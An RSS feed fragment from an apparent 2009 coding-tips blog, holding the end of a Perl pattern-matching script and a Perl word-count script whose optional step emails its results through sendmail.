<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">        </span>{</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">            </span>print &#8221; *) Pattern : $pattern \n&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">            </span>print &#8221; *) Column : $lineArray[$columnNum] \n&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">            </span>if ( $lineArray [ $columnNum ] =~<span style="mso-spacerun: yes;">  </span>/^$pattern$/ )</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">            </span>{</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">                </span>print OUTPUT_FILE &#8220;$line\n&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">                </span>print<span style="mso-spacerun: yes;">  </span>&#8220;$line\n&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">            </span>}</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">        </span>}</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"> </span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">}</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">close(DISPLAY_DETAILS_FILE);</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">close(INPUT_FILE);</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">close(PATTERN_FILE);</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 27pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"> </span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; text-indent: -39pt; line-height: normal; mso-list: l0 level1 lfo1; tab-stops: list 45.0pt;"><strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: Verdana; mso-bidi-font-family: Verdana;"><span style="mso-list: Ignore;">4.<span style="font: 7pt &quot;Times New Roman&quot;;">    </span></span></span></strong><strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">Limitation of the component </span></strong></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 27pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"> </span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 27pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">     </span>Within Shell/Unix environment</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal; mso-outline-level: 1;"><strong><span style="font-size: 12pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';"> </span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 12pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 10pt;"><span style="font-size: small; font-family: Calibri;"> </span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.dailyinfobyte.com/2009/03/23/searching-for-a-pattern-as-a-string-or-regular-expression/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PERL Script -A word search program</title>
		<link>http://www.dailyinfobyte.com/2009/03/23/perl-script-a-word-search-program/</link>
		<comments>http://www.dailyinfobyte.com/2009/03/23/perl-script-a-word-search-program/#comments</comments>
		<pubDate>Tue, 24 Mar 2009 03:04:11 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Technical]]></category>
		<category><![CDATA[coding tips]]></category>
		<category><![CDATA[Perl]]></category>
		<category><![CDATA[PERL Script -A word search program]]></category>
		<category><![CDATA[perl scripts]]></category>
		<category><![CDATA[scripts]]></category>
		<category><![CDATA[technical FAQ]]></category>
		<category><![CDATA[technical tips]]></category>

		<guid isPermaLink="false">http://www.dailyinfobyte.com/?p=119</guid>
		<description><![CDATA[# This script is used to count the number of occurrence of a given search word in the files provided in the command line.
 
# The user has to provide the file names as parameters in the command line.
 
 
#!/usr/local/bin/perl
# Declaring the variables
my $wordToSearch;
my $fileCount=0;
my @wordCount;
my $totalWordCount=0;
 
# Declaring the variables for sending mail
my $fromaddress = &#8220;sreejith_ar\@infosys.com&#8221;;
my $toaddress [...]]]></description>
			<content:encoded><![CDATA[<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in;"><span style="font-size: 10pt; color: #993366; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"># This script is used to count the number of occurrence of a given search word in the files provided in the command line.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in;"><span style="font-size: 10pt; color: #993366; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; text-align: justify;"><span style="font-size: 10pt; color: #993366; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"># The user has to provide the file names as parameters in the command line.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">#!/usr/local/bin/perl</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"># Declaring the variables</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">my $wordToSearch;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">my $fileCount=0;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">my @wordCount;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">my $totalWordCount=0;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"># Declaring the variables for sending mail</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">my $fromaddress = &#8220;sreejith_ar\@infosys.com&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">my $toaddress = &#8220;to_dave\@infosys.com&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">my $subject = &#8220;Give some subject&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">my $mailer = &#8220;/usr/lib/sendmail -f$fromaddress -oi&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">#Prompting the user to enter the word to search and storing it in variable.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">print(&#8221;Enter the word to be searched:&#8221;);</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">$wordToSearch=&lt;STDIN&gt;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">#Choping the input to get rid of the new line character at the end</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">chop ($wordToSearch);</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">#Starting the loop which will continue till the files given in the command line is exhausted.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">while ($fileCount &lt; @ARGV)</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">{</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span>$wordCount[$fileCount]= 0;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span></span><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">#Tries to open the file one by one. If the file cannot be opened then the program will print an error message </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span></span><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">unless (open (INFILE, $ARGV[$fileCount])) </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span>{</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                   </span>die (&#8221;Cannot open the input file $ARGV[$fileCount]\n&#8221;);</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-spacerun: yes;">        </span>}</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span></span><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">#If the program reached untill here that means the file was available to open.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span></span><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">#The loop continues untill the end of file is reached.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span>while ($line = &lt;INFILE&gt;)</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span>{<span style="mso-tab-count: 1;">        </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                   </span>my $count=0;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                   </span></span><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">#Chop the line for removing the new line character.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                   </span></span><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">chop($line);</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                   </span></span><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">#Split the line based on space and stores it in the array @array</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                   </span></span><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">my @array = split(/ /,$line);</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                   </span></span><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">#The loop continues until it reaches the end of the array</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                   </span></span><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">while($count &lt; @array)</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                   </span>{</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 3;">                             </span></span><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">#Checks the array one by one to find whether the elements matches with the search words.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 3;">                             </span>#If matches then increments the word count.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span></span><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                   </span>if ($array[$count] eq $wordToSearch)</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 3;">                             </span>{</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 4;">                                      </span>$wordCount[$fileCount]= $wordCount[$fileCount]+1;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 3;">                             </span>}</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 3;">                             </span>$count=$count+1;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                   </span>}</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span>}</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span></span><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">#Count the total number of words in all the files.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span></span><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">$totalWordCount=$totalWordCount+$wordCount[$fileCount];</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span></span><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">#Print the result.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span>print (&#8221;The Number of Occurance of the word \&#8221;$wordToSearch\&#8221; in the file \&#8221;$ARGV[$fileCount]\&#8221; is: $wordCount[$fileCount]\n\n&#8221;);</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span>$fileCount=$fileCount+1;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">}</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">print(&#8221;The total number of Ocuurance of the word \&#8221;$wordToSearch\&#8221; in all the files is : $totalWordCount \n\n&#8221;);</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">#Below is the optional code which you can add if you want to send a mail with the details.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">open (MAIL, &#8220;|$mailer -t&#8221;) || die &#8220;Can&#8217;t open mailer&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">print MAIL &#8220;To: $toaddress\n&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">print MAIL &#8220;cc: \n&#8221;;</span></p>
